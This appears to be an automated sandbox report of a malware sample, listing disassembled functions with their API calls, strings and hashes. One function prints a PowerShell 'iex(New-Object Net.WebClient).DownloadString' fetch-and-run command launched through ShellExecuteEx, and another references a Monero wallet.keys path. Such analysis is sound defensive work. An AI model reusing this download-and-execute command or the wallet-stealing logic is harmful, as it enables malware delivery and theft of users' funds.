Function 0100C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0100C8BF
___crtGetStringTypeA.LIBCMT ref: 0100C8EC
___crtLCMapStringA.LIBCMT ref: 0100C90C
___crtLCMapStringA.LIBCMT ref: 0100C931

Strings

, xrefs: 0100C896

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: aaf1a9608642b2c712a6144359cc22c24af2409ac5e9767bfc741f4eab5ff307
Instruction ID: 6e76dab19cae28fd94628e42a2e1eace7daa4ba98c874acc492ab50bc4bd99d4
Opcode Fuzzy Hash: aaf1a9608642b2c712a6144359cc22c24af2409ac5e9767bfc741f4eab5ff307
Instruction Fuzzy Hash: C541E67150479C5EFB238B688E88FFB7BE89B45704F1845E8DACA861C2D2719B448F64

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 01002C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

ShellExecuteEx.SHELL32(0000003C), ref: 01002D85

Strings

<, xrefs: 01002D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 01002D04
')", xrefs: 01002CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 01002CC4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c9a9c4155b502524fbc0b24a0830c408ccc7e41128f1e894f60e22a22e3fa666
Instruction ID: 1d7bd9ff35c14b460f104a9534dceecd83ce1562c3534c8a930a0fa3e7dd04cb
Opcode Fuzzy Hash: c9a9c4155b502524fbc0b24a0830c408ccc7e41128f1e894f60e22a22e3fa666
Instruction Fuzzy Hash: 0241BB71E10209DAEB16FBA1D894FDDBB74BF24300F404119E196AB1D4EF746A8ACF90

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 00FF9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FF9F41

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

@, xrefs: 00FF9EF1
v10, xrefs: 00FF9EA3
v20, xrefs: 00FF9E21
ERROR_RUN_EXTRACTOR, xrefs: 00FF9E67

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 17bf3428ceba4ff141922946deadef78b2a641416af745ce31c1efbca97abaeb
Instruction ID: e26e7a54f8dc339119a222106d81e49dcedc7df5cdf5ad4a229107a1b1b9922a
Opcode Fuzzy Hash: 17bf3428ceba4ff141922946deadef78b2a641416af745ce31c1efbca97abaeb
Instruction Fuzzy Hash: DF615C71A0020DEBDB24EFA4DC95FED7775BF54300F048118EA4A9F294EB746A0ADB91

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 01009260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0087F320,?,?,?,0100140C,?,0087F320,00000000), ref: 0100926C
lstrcpyn.KERNEL32(0123AB88,0087F320,0087F320,?,0100140C,?,0087F320), ref: 01009290
lstrlen.KERNEL32(?,?,0100140C,?,0087F320), ref: 010092A7
wsprintfA.USER32 ref: 010092C7

Strings

%s%s, xrefs: 010092B5

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: d736083cc2929b8d3997a0fced9ad71d8de03c0faa37af066eb8e8430ec24c1b
Instruction ID: 295e3cb78fbe6fdde7e77dcfea80766dc9e08f1324bbdd452ee14ad8fb1da00f
Opcode Fuzzy Hash: d736083cc2929b8d3997a0fced9ad71d8de03c0faa37af066eb8e8430ec24c1b
Instruction Fuzzy Hash: 97011E75500108FFCB08DFECD988EAE7BB9FB54354F108558F949CB205D631AA40DB90

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
